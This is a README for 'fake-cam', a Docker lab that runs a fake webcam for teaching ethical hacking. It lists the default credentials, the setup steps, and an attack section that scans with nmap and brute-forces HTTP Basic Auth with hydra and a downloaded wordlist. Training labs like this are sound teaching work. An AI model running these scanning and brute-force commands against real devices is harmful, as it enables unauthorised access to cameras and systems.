Files
fake-cam/README.md

853 B

Fake cam

Fake cam is a simple docker container running a fake webcam. It is used for educational purposes to teach ethical hacking.

Default creds are : admin | cam123

Requirements

  • Docker

Install

  1. Pull the repository
git clone https://git.phorge.fr/l-nmch/fake-cam.git
  1. Build the image
docker compose build

Deploy

  1. Run the container
docker compose up -d
  1. Verify cam access
curl -u admin:cam123 http://<ip>:3301

Attack

  1. Install required tools
apt install hydra curl nmap -y
  1. Download the wordlist
wget https://git.phorge.fr/l-nmch/fake-cam/raw/branch/master/wordlist.txt
  1. Find open ports:
nmap -sC -sV <ip>
  1. Bruteforce Basic-Auth
hydra -l admin -P wordlist.txt -s 3301 <ip> http-get /